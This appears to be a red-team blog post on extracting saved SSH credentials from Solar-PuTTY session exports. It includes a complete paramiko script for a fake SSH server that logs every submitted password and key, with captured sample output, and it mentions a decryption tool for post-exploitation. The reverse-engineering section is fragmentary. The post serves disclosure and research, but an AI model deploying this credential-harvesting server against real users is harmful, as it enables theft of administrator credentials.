During a recent Red Team engagement, I was able to become domain admin on the client’s network; I decided to investigate further into the “sys admin” workstations and management network in order to recover more information about the network topology and assets, dumping more password and gaining access to firewalls/switches and servers’ VLANs.
Enumerating the sysadmin’s workstations, I discovered a windows tool used to connect via SSH.
Solar PuTTY, allows its users to store sessions and credentials or private keys for an easy login.
Unfortunately, there was no easy way to directly see the stored password but the “Export Sessions” functionality caught my attention.
I exported all the saved sessions from one of the machines and decided to work offline trying to recover them all in plain-text.
- The first thing that I would like to point out is that saved sessions are locally stored in a (not really) encrypted format as they are not protected by a master password choosen by the user.
Their location can be found in:
- Since sessions are not protected by a master password they can be freely used and moreover, exported from Solar-PuTTY (they can also be exported with an empty password).
- Solar-Putty won’t alert if the server fingerprint differs from the stored one as the exported sessions does not contains the server fingerprint information.
Retrieve the Plain-Text Stored Sessions
Quick and dirty method
The first idea that I had was to generate a “fake” SSH server that logs credentials provided by the user (as per previous point 2 and 3: I was able to export the sessions and Solar-Putty won’t complain if the server fingerprint is changed).
Paramiko to the rescue
I wrote this simple script (already used in the past to solve a CTF) in order to log SSH credentials:
#!/usr/bin/env python import logging import socket import sys import threading from binascii import hexlify import paramiko logging.basicConfig() logger = logging.getLogger() if len(sys.argv) != 2: print "Need private RSA key as argument." sys.exit(1) host_key = paramiko.RSAKey(filename=sys.argv) class Server(paramiko.ServerInterface): def __init__(self): self.event = threading.Event() def check_channel_request(self, kind, chanid): if kind == 'session': return paramiko.OPEN_SUCCEEDED def check_auth_password(self, username, password): print('Auth attempt for user %s with password: %s ' % (username, password)) return paramiko.AUTH_SUCCESSFUL def check_auth_publickey(self, username, key): print('Auth attempt for user %s with key: %s' % (username, key.get_base64())) return paramiko.AUTH_SUCCESSFUL def get_allowed_auths(self, username): return 'publickey,password' def check_channel_exec_request(self, channel, command): # This is the command we need to parse print command self.event.set() return True def listener(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('', 2222)) sock.listen(100) client, addr = sock.accept() t = paramiko.Transport(client) t.set_gss_host(socket.getfqdn("")) t.load_server_moduli() t.add_server_key(host_key) server = Server() t.start_server(server=server) # Wait 30 seconds for a command server.event.wait(30) t.close() while True: try: listener() except KeyboardInterrupt: sys.exit(0) except Exception as exc: logger.error(exc)
And here the results:
Auth attempt for user root with password: mysup3rsecretPassword1!!
Now, despite being a pretty straightforward and easy method I wanted something able to retrieve plaintext password in batch since I had hundred of saved sessions.
The next step was to reverse engineering Solar-Putty in order to understand how it was storing the sessions and how to reverse the encryption.
First step, I tried identifying the language it was written in and if it was packed/crypted in any way.
A simple C# .NET binary with no obfuscation: Easy. Then, I’ve loaded it into ILSpy and started the reverse engineering process.
I’ve started off identifing the “export” functionality:
- I’ve searched for the string “Export Session” as a “Constant” and in the
OnExportModelI discovered the
- Backtracking the
DoExportfunction I found the
SolarPuttyDecrypt is a post-exploitation/forensics tool to decrypt SolarPuTTY’s sessions files and retrieve plain-text credentials. It can be downloaded from GitHub and hopefully someone would port it into a Metasploit module.